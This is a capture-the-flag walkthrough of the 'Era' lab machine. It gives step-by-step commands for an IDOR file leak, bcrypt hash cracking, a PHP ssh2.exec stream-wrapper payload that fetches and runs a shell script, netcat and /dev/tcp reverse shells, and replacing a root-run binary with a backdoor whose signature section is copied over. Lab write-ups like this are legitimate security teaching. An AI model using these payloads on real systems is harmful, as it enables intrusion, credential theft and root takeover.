Era
Recon
Start off with an Nmap scan.
1
2
3
4
5
IP=10.129.215.181
port=$(sudo nmap -p- $IP --min-rate 10000 | grep open | cut -d'/' -f1 | tr '\n' ',' )
nmap -sC -sV $IP -p $port
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(kali㉿kali)-[~/HTB-machine/era]
└─$ nmap -sC -sV $IP -p $port
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-28 00:43 EDT
Nmap scan report for file.era.htb (10.129.215.181)
Host is up (0.20s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Era - File Sharing Platform
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.61 seconds
The Nmap scan identifies two exposed services on the target: an FTP server running vsftpd 3.0.5 on port 21 and a web application hosted on nginx 1.18.0 (Ubuntu) on port 80.
Now update /etc/hosts:
1
echo "10.129.119.87 era.htb" | sudo tee -a /etc/hosts
Web Server 80
Here, we have a web server running.
1
http://era.htb
After performing directory busting, we found no interesting directories. Let’s move on to subdomain enumeration.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(kali㉿kali)-[~/HTB-machine/era]
└─$ dirsearch -u http://era.htb/ -e php,html,txt -x 400,403,404,503 -t 50
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, html, txt | HTTP method: GET | Threads: 50 | Wordlist size: 10403
Output File: /home/kali/HTB-machine/era/reports/http_era.htb/__25-07-28_00-49-47.txt
Target: http://era.htb/
[00:49:47] Starting:
[00:50:28] 301 - 178B - /css -> http://era.htb/css/
[00:50:35] 301 - 178B - /fonts -> http://era.htb/fonts/
[00:50:40] 301 - 178B - /img -> http://era.htb/img/
[00:50:43] 301 - 178B - /js -> http://era.htb/js/
Task Completed
Here, we can see an interesting subdomain: file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali㉿kali)-[~/HTB-machine/era/zip]
└─$ wfuzz -c -w /usr/share/dnsrecon/dnsrecon/data/subdomains-top1mil-20000.txt -H "Host: FUZZ.era.htb" --sc 200 http://era.htb/
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://era.htb/
Total requests: 20000
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000312: 200 233 L 559 W 6765 Ch "file"
Now, we update the /etc/hosts file again:
1
echo "10.129.119.87 file.era.htb" | sudo tee -a /etc/hosts
1
http://file.era.htb/
Here we have a sign-in page using credential and signin using security question.
After running dirsearch, we discovered another endpoint: register.php.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(kali㉿kali)-[~/HTB-machine/era]
└─$ dirsearch -u http://file.era.htb/ -e php,html,txt -x 400,403,404,503 -t 50
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, html, txt | HTTP method: GET | Threads: 50 | Wordlist size: 10403
Output File: /home/kali/HTB-machine/era/reports/http_file.era.htb/__25-07-28_00-57-00.txt
Target: http://file.era.htb/
[00:57:00] Starting:
[00:57:31] 301 - 178B - /assets -> http://file.era.htb/assets/
[00:57:45] 302 - 0B - /download.php -> login.php
[00:57:49] 301 - 178B - /files -> http://file.era.htb/files/
[00:57:54] 301 - 178B - /images -> http://file.era.htb/images/
[00:57:59] 200 - 34KB - /LICENSE
[00:58:00] 200 - 9KB - /login.php
[00:58:01] 200 - 70B - /logout.php
[00:58:02] 302 - 0B - /manage.php -> login.php
[00:58:20] 200 - 3KB - /register.php
[00:58:38] 302 - 0B - /upload.php -> login.php
Task Completed
Registration Page
1
http://file.era.htb/register.php
Login Page
1
http://file.era.htb/login.php
Let’s register a user and log in. After successful login, we are redirected to the Manage File page.
1
http://file.era.htb/manage.php
Here we have an upload file endpoint. Let’s try uploading a normal file to observe the behavior.
As shown above, once the file is uploaded, a download link is provided which allows us to download the uploaded file.
Now under Manage Files, we have an endpoint, so we simply intercept the download request.
1
http://file.era.htb/manage.php
IDOR Vulnerability
Here we have an IDOR vulnerability. After running wfuzz, we found 2 valid IDs: 54 and 150.
1
seq 1 10000 > id.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
┌──(kali㉿kali)-[~/HTB-machine/era]
└─$ ffuf -u http://file.era.htb/download.php?id=FUZZ -w id.txt -H "Cookie: PHPSESSID=fooneqingj2eqj5q6on889ronh" -mc 200 -fw 3161
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://file.era.htb/download.php?id=FUZZ
:: Wordlist : FUZZ: /home/kali/HTB-machine/era/id.txt
:: Header : Cookie: PHPSESSID=fooneqingj2eqj5q6on889ronh
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200
:: Filter : Response words: 3161
________________________________________________
54 [Status: 200, Size: 6378, Words: 2552, Lines: 222, Duration: 211ms]
150 [Status: 200, Size: 6366, Words: 2552, Lines: 222, Duration: 225ms]
:: Progress: [10000/10000] :: Job [1/1] :: 190 req/sec :: Duration: [0:00:55] :: Errors: 0 ::
After pasting the URL in the browser, two files were downloaded:
1
http://file.era.htb/download.php?id=150
1
tree .
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
┌──(kali㉿kali)-[~/HTB-machine/era/writeup]
└─$ tree .
.
├── bg.jpg
├── css
│ ├── fontawesome-all.min.css
│ ├── images
│ │ └── overlay.png
│ ├── main.css
│ ├── main.css.save
│ └── noscript.css
├── download.php
├── filedb.sqlite
├── files
│ └── index.php
├── functions.global.php
├── index.php
├── initial_layout.php
├── key.pem
├── layout_login.php
├── layout.php
├── LICENSE
├── login.php
├── logout.php
├── main.png
├── manage.php
├── register.php
├── reset.php
├── sass
│ ├── base
│ │ ├── _page.scss
│ │ ├── _reset.scss
│ │ └── _typography.scss
│ ├── components
│ │ ├── _actions.scss
│ │ ├── _button.scss
│ │ ├── _form.scss
│ │ ├── _icon.scss
│ │ ├── _icons.scss
│ │ └── _list.scss
│ ├── layout
│ │ ├── _footer.scss
│ │ ├── _main.scss
│ │ └── _wrapper.scss
│ ├── libs
│ │ ├── _breakpoints.scss
│ │ ├── _functions.scss
│ │ ├── _mixins.scss
│ │ ├── _vars.scss
│ │ └── _vendor.scss
│ ├── main.scss
│ └── noscript.scss
├── screen-download.png
├── screen-login.png
├── screen-main.png
├── screen-manage.png
├── screen-upload.png
├── security_login.php
├── signing.zip
├── site-backup-30-08-24.zip
├── upload.php
├── webfonts
│ ├── fa-brands-400.eot
│ ├── fa-brands-400.svg
│ ├── fa-brands-400.ttf
│ ├── fa-brands-400.woff
│ ├── fa-brands-400.woff2
│ ├── fa-regular-400.eot
│ ├── fa-regular-400.svg
│ ├── fa-regular-400.ttf
│ ├── fa-regular-400.woff
│ ├── fa-regular-400.woff2
│ ├── fa-solid-900.eot
│ ├── fa-solid-900.svg
│ ├── fa-solid-900.ttf
│ ├── fa-solid-900.woff
│ └── fa-solid-900.woff2
└── x509.genkey
10 directories, 66 files
Here we have a filedb.sqlite file.
We use sqlite3 to open it, and under the user table, we find stored hashes.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(kali㉿kali)-[~/HTB-machine/era/writeup]
└─$ sqlite3 filedb.sqlite
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
files users
sqlite>
sqlite>
sqlite> select * from files
...> ;
54|files/site-backup-30-08-24.zip|1|1725044282
sqlite>
sqlite> select * from users;
1|admin_ef01cab31aa|$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC|600|Maria|Oliver|Ottawa
2|eric|$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm|-1|||
3|veronica|$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK|-1|||
4|yuri|$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.|-1|||
5|john|$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6|-1|||
6|ethan|$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC|-1|||
sqlite>
sqlite> .quit
Hash Cracking
After cracking the hashes, we found two hashes corresponding to two different users.
1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~/HTB-machine/era/writeup]
└─$ cat era.hash
$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC
$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm
$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK
$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.
$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6
$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(kali㉿kali)-[~/HTB-machine/era/writeup]
└─$ john era.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 6 password hashes with 6 different salts (bcrypt [Blowfish 32/64 X3])
Loaded hashes with cost 1 (iteration count) varying from 1024 to 4096
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
america (?)
mustang (?)
2g 0:00:15:42 0.12% (ETA: 2025-08-05 22:09) 0.002121g/s 22.56p/s 90.88c/s 90.88C/s tatianna..pooh16
Use the "--show" option to display all of the cracked passwords reliably
Session aborted
┌──(kali㉿kali)-[~/HTB-machine/era/writeup]
└─$ john era.hash --show
?:america
?:mustang
2 password hashes cracked, 4 left
┌──(kali㉿kali)-[~/HTB-machine/era/writeup]
└─$
Credentials
yuri : mustang
eric : america
FTP Login
After logging in with the credentials via FTP, we found something interesting. Under the php8.1_conf directory, there is a PHP extension installed named ssh2.so.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
┌──(kali㉿kali)-[~/HTB-machine/era]
└─$ ftp 10.129.215.181
Connected to 10.129.215.181.
220 (vsFTPd 3.0.5)
Name (10.129.215.181:kali): yuri
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||8941|)
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 Jul 22 08:42 apache2_conf
drwxr-xr-x 3 0 0 4096 Jul 22 08:42 php8.1_conf
226 Directory send OK.
ftp> cd apache2_conf
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||61271|)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 1332 Dec 08 2024 000-default.conf
-rw-r--r-- 1 0 0 7224 Dec 08 2024 apache2.conf
-rw-r--r-- 1 0 0 222 Dec 13 2024 file.conf
-rw-r--r-- 1 0 0 320 Dec 08 2024 ports.conf
226 Directory send OK.
ftp> cd ..
250 Directory successfully changed.
ftp> cd php8.1_conf
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||24142|)
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 Jul 22 08:42 build
-rw-r--r-- 1 0 0 35080 Dec 08 2024 calendar.so
-rw-r--r-- 1 0 0 14600 Dec 08 2024 ctype.so
-rw-r--r-- 1 0 0 190728 Dec 08 2024 dom.so
-rw-r--r-- 1 0 0 96520 Dec 08 2024 exif.so
-rw-r--r-- 1 0 0 174344 Dec 08 2024 ffi.so
-rw-r--r-- 1 0 0 7153984 Dec 08 2024 fileinfo.so
-rw-r--r-- 1 0 0 67848 Dec 08 2024 ftp.so
-rw-r--r-- 1 0 0 18696 Dec 08 2024 gettext.so
-rw-r--r-- 1 0 0 51464 Dec 08 2024 iconv.so
-rw-r--r-- 1 0 0 1006632 Dec 08 2024 opcache.so
-rw-r--r-- 1 0 0 121096 Dec 08 2024 pdo.so
-rw-r--r-- 1 0 0 39176 Dec 08 2024 pdo_sqlite.so
-rw-r--r-- 1 0 0 284936 Dec 08 2024 phar.so
-rw-r--r-- 1 0 0 43272 Dec 08 2024 posix.so
-rw-r--r-- 1 0 0 39176 Dec 08 2024 readline.so
-rw-r--r-- 1 0 0 18696 Dec 08 2024 shmop.so
-rw-r--r-- 1 0 0 59656 Dec 08 2024 simplexml.so
-rw-r--r-- 1 0 0 104712 Dec 08 2024 sockets.so
-rw-r--r-- 1 0 0 67848 Dec 08 2024 sqlite3.so
-rw-r--r-- 1 0 0 313912 Dec 08 2024 ssh2.so
-rw-r--r-- 1 0 0 22792 Dec 08 2024 sysvmsg.so
-rw-r--r-- 1 0 0 14600 Dec 08 2024 sysvsem.so
-rw-r--r-- 1 0 0 22792 Dec 08 2024 sysvshm.so
-rw-r--r-- 1 0 0 35080 Dec 08 2024 tokenizer.so
-rw-r--r-- 1 0 0 59656 Dec 08 2024 xml.so
-rw-r--r-- 1 0 0 43272 Dec 08 2024 xmlreader.so
-rw-r--r-- 1 0 0 51464 Dec 08 2024 xmlwriter.so
-rw-r--r-- 1 0 0 39176 Dec 08 2024 xsl.so
-rw-r--r-- 1 0 0 84232 Dec 08 2024 zip.so
226 Directory send OK.
ftp>
This confirms that the ssh2 PHP extension is present, meaning ssh2.*:// stream wrappers (like ssh2.exec://) are very likely enabled on the server.
Source Code Analysis
reset.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
.
.
.
.
<?php
require_once('layout.php');
require_once('functions.global.php');
// Check session validity before outputting anything
if (!isset($_SESSION['eravalid']) || $_SESSION['eravalid'] !== true) {
header('Location: login.php');
exit();
}
// Output the page top with sidebar and main content container open
echo deliverTop("Era - Update Security Questions");
// Connect to SQLite3 database
$db = new SQLite3('filedb.sqlite');
// Initialize variables
$error_message = '';
$operation_successful = false;
// Process POST submission
if ($_SERVER["REQUEST_METHOD"] === "POST") {
$username = trim($_POST['username'] ?? '');
$new_answer1 = trim($_POST['new_answer1'] ?? '');
$new_answer2 = trim($_POST['new_answer2'] ?? '');
$new_answer3 = trim($_POST['new_answer3'] ?? '');
if ($username === '' || $new_answer1 === '' || $new_answer2 === '' || $new_answer3 === '') {
$error_message = "All fields are required.";
} else {
$query = "UPDATE users SET security_answer1 = ?, security_answer2 = ?, security_answer3 = ? WHERE user_name = ?";
$stmt = $db->prepare($query);
$stmt->bindValue(1, $new_answer1, SQLITE3_TEXT);
$stmt->bindValue(2, $new_answer2, SQLITE3_TEXT);
$stmt->bindValue(3, $new_answer3, SQLITE3_TEXT);
$stmt->bindValue(4, $username, SQLITE3_TEXT);
if ($stmt->execute()) {
$operation_successful = true;
} else {
$error_message = "Error updating security questions. Please try again.";
}
}
}
?>
.
.
.
.
.
Insecure Direct Object Reference (IDOR)
The
usernameis supplied via POST:1
$username = trim($_POST['username'] ?? '');
- This lets a user change any user’s security questions, not just their own.
Issue: A user logged in as
alicecan sendusername=boband change Bob’s security questions.
Now, this user can update the security question for any user.
So, update the security question for the user found in the database file admin_ef01cab31aa.
Now, sign out and log in with:logging using security question
We will be logged in as the admin user.
Here, we have the same file downloaded using IDOR.
Download.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
.
.
.
.
if ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) {
$format = isset($_GET['format']) ? $_GET['format'] : '';
$file = $fetched[0];
if (strpos($format, '://') !== false) {
$wrapper = $format;
header('Content-Type: application/octet-stream');
} else {
$wrapper = '';
header('Content-Type: text/html');
}
try {
$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
$full_path = $wrapper ? $wrapper . $file : $file;
echo "Opening: " . $full_path . "\n";
echo $file_content;
} catch (Exception $e) {
echo "Error reading file: " . $e->getMessage();
}
}
.
.
.
.
The download.php code contains unsafe usage of PHP stream wrappers when show=true and the user is an admin ($_SESSION['erauser'] === 1).
Stream Wrapper Abuse via format Parameter
The download.php script allows user input in the format parameter to be directly used in fopen(), enabling abuse of PHP stream wrappers. Since the server has the ssh2.so extension installed (confirmed via FTP access), wrappers like ssh2:// and php://filter can be exploited.
This can lead to:
- Local file disclosure using
php://filter - Remote file interaction or even Remote Code Execution (RCE) using
ssh2://if outbound SSH is allowed
No validation is in place to restrict allowed wrappers, making this a serious file read/inclusion vulnerability.
Revershell
So, we will click on signing.zip or site_backup.zip and intercept the request.
But first, we create a shell.sh locally:
1
mkfifo /tmp/s; /bin/sh </tmp/s | nc 10.10.14.48 4444 >/tmp/s; rm /tmp/s
Then, set up the Python HTTP server and Netcat listener:
1
python3 -m http.server 80
1
nc -lvnp 4444
Send the intercepted request to the Repeater tab and append the following payload:
1
&show=true&format=ssh2.exec://eric:america@127.0.0.1/curl -s http://10.10.14.48/shell.sh|sh;
1
GET /download.php?id=150&show=true&format=ssh2.exec%3a//eric%3aamerica%40127.0.0.1/curl+-s+http%3a//10.10.14.48/shell.sh|sh%3b
The file was transferred successfully:
1
2
3
4
┌──(kali㉿kali)-[~/HTB-machine/era/writeup]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.215.181 - - [28/Jul/2025 03:43:10] "GET /shell.sh HTTP/1.1" 200 -
We received a connection on the listener and obtained a user shell:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(kali㉿kali)-[~/HTB-machine/era]
└─$ rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.48] from (UNKNOWN) [10.129.215.181] 46026
id
uid=1000(eric) gid=1000(eric) groups=1000(eric),1001(devs)
ls
user.txt
cat user.txt
************688a3c67e5dc071c7568
cd ..
ls
eric
yuri
pwd
/home
Privilege Escalation
Now make the this shell stable
1
2
3
4
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
$ Ctrl-Z
$ stty raw -echo; fg
$ export TERM=xterm
1
2
3
4
5
6
7
8
9
10
11
12
python3 -c 'import pty; pty.spawn("/bin/bash")'
eric@era:~$ ^Z
zsh: suspended nc -lvnp 1337
┌──(kali㉿kali)-[~/HTB-machine/era]
└─$ stty raw -echo; fg
[1] + continued nc -lvnp 1337
export TERM=xterm
eric@era:~$
eric@era:~$ ls
user.txt
eric@era:~$
Running LinPEAS shows interesting files under /opt/AV/periodic-checks:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
.
.
.
╔══════════╣ Searching root files in home dirs (limit 30)
/home/
/home/eric/.bash_history
/home/eric/user.txt
/root/
/var/www/html/index.nginx-debian.html
╔══════════╣ Searching folders owned by me containing others files on it (limit 100)
-rw-r----- 1 root eric 33 Jul 29 02:19 /home/eric/user.txt
╔══════════╣ Readable files belonging to root and readable by me but not world readable
-rw-r----- 1 root eric 33 Jul 29 02:19 /home/eric/user.txt
-rwxrw---- 1 root devs 915128 Jul 29 05:31 /opt/AV/periodic-checks/monitor
-rw-rw---- 1 root devs 667 Jul 29 05:38 /opt/AV/periodic-checks/status.log
╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 200)
.
.
.
.
The monitor binary is writable, allowing a backdoor injection.
1
2
3
4
5
6
7
8
9
10
eric@era:~$ cd /opt/AV/periodic-checks
eric@era:/opt/AV/periodic-checks$ ls
monitor status.log
eric@era:/opt/AV/periodic-checks$ ls -la
total 32
drwxrwxr-- 2 root devs 4096 Jul 29 05:27 .
drwxrwxr-- 3 root devs 4096 Jul 22 08:42 ..
-rwxrw---- 1 root devs 16544 Jul 29 05:27 monitor
-rw-rw---- 1 root devs 103 Jul 29 05:27 status.log
eric@era:/opt/AV/periodic-checks$
Creating and Injecting the Backdoor
1
printf '#include <stdlib.h>\n\nint main() {\n system("/bin/bash -c '\''bash -i >& /dev/tcp/10.10.14.42/4444 0>&1'\''");\n return 0;\n}\n' > backdoor.c
1
gcc -static -o monitor_backdoor backdoor.c
1
objcopy --dump-section .text_sig=sig /opt/AV/periodic-checks/monitor
1
objcopy --add-section .text_sig=sig monitor_backdoor
1
cp monitor_backdoor /opt/AV/periodic-checks/monitor
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
eric@era:~$ cd /opt/AV/periodic-checks
eric@era:/opt/AV/periodic-checks$ ls
monitor status.log
eric@era:/opt/AV/periodic-checks$ ls -la
total 32
drwxrwxr-- 2 root devs 4096 Jul 29 05:27 .
drwxrwxr-- 3 root devs 4096 Jul 22 08:42 ..
-rwxrw---- 1 root devs 16544 Jul 29 05:27 monitor
-rw-rw---- 1 root devs 103 Jul 29 05:27 status.log
eric@era:/opt/AV/periodic-checks$
eric@era:/opt/AV/periodic-checks$ cd /tmp
eric@era:/tmp$
eric@era:/tmp$ printf '#include <stdlib.h>\n\nint main() {\n system("/bin/bash -c '\''bash -i >& /dev/tcp/10.10.14.23/4444 0>&1'\''");\n return 0;\n}\n' > backdoor.c
eric@era:/tmp$
eric@era:/tmp$ gcc -static -o monitor_backdoor backdoor.c
eric@era:/tmp$
eric@era:/tmp$ objcopy --dump-section .text_sig=sig /opt/AV/periodic-checks/monitor
eric@era:/tmp$
eric@era:/tmp$ objcopy --add-section .text_sig=sig monitor_backdoor
eric@era:/tmp$
eric@era:/tmp$ cp monitor_backdoor /opt/AV/periodic-checks/monitor
cp: cannot create regular file '/opt/AV/periodic-checks/monitor': Text file busy
eric@era:/tmp$
eric@era:/tmp$ cp monitor_backdoor /opt/AV/periodic-checks/monitor
eric@era:/tmp$
On the Listener.We have an elevated shell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(kali㉿kali)-[~/HTB-machine/era]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.23] from (UNKNOWN) [10.129.230.43] 58194
bash: cannot set terminal process group (8216): Inappropriate ioctl for device
bash: no job control in this shell
root@era:~#
root@era:~# ls
ls
answers.sh
clean_monitor.sh
initiate_monitoring.sh
monitor
root.txt
text_sig_section.bin
root@era:~# cat root.txt
cat root.txt
************a066b972d879275201fb
root@era:~#

















